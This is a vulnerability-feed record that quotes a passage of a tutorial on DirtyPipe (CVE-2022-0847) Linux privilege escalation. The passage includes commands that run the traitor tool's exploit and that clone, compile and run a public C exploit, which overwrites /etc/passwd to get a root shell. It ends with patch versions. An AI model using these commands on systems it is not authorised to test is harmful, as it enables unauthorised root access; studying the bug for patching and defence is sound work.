{"uuid": "924ad67d-7599-4e9e-a1df-f892ee310ea0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-0847", "type": "seen", "source": "https://t.me/hacking_Attack/45687", "content": "mmand:\n./traitor-amd64 --exploit kernel:CVE-2022-0847\nwhoami\nid \nhttps://blogger.googleusercontent.com/img/a/AVvXsEhTJNt8w0i3kBKYrN7n7UpMIl6ILuM2p_zh5tNzVPj-GMiVlfwcwopgYQ2oCxzz_t-vTgmhk6Xec2ANV5wQXMkUIjXeLT3-IdIqK36XnwZxLUvpSIg__sA6FE8rHIhVgtv2khA9sJ2Q6TOIdEPKyaEeABllXaJiY_PSQAaqhZG3w5j4x4vVQRUUhLSicA=s16000 \n\nAnd just like that, we have achieved escalated privileges! The exploit ran, injected data in /etc/passwd which makes my current user root, then spawned a shell automatically! Demonstration: Method 2Based on the same guidelines, Arinerron created an exploit in C too. It creates a backup of /etc/passwd, injects data and then restores and spawns a shell as root!\n\nTo download, compile and run this you can run the following commands:\ngit clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit.git\ncd CVE-2022-0847-DirtyPipe-Exploit\n./compile.sh\n./exploit \nhttps://blogger.googleusercontent.com/img/a/AVvXsEjw2vyTNVMXAgnKMHg0UxgM_A-01n1bU8B2zOG6LbrejFra80HXgAmakE9dBbw1QajaFHp0vMRzN8XPMtskEMZ_bwklzV5uXKZX0fTe5iNbgD_O5_zuRTAgYgkirzez_Uz7ptKiTpe8vrGLjQJk87DaHZKX2UpMR84Y_7h6tvfC9XogRsGKbZglic3cdg=s16000 \n\nAnd just like that, we are now root! Patch statusThe vulnerability has been fixed in Linux 5.16.11, 5.15.25, and 5.10.102 with new patches ongoing. ConclusionDirtyPipe is a high impact vulnerability with a low complexity attack vector. Organizations must immediately patch their systems with the latest Kernel patches as and when they are rolled out. Hope you liked the article and thanks for reading it.\n\nAuthor: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here\n\nThe post Linux Privilege Escalation: DirtyPipe (CVE 2022-0847) appeared first on Hacking Articles.\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:52.203437Z"}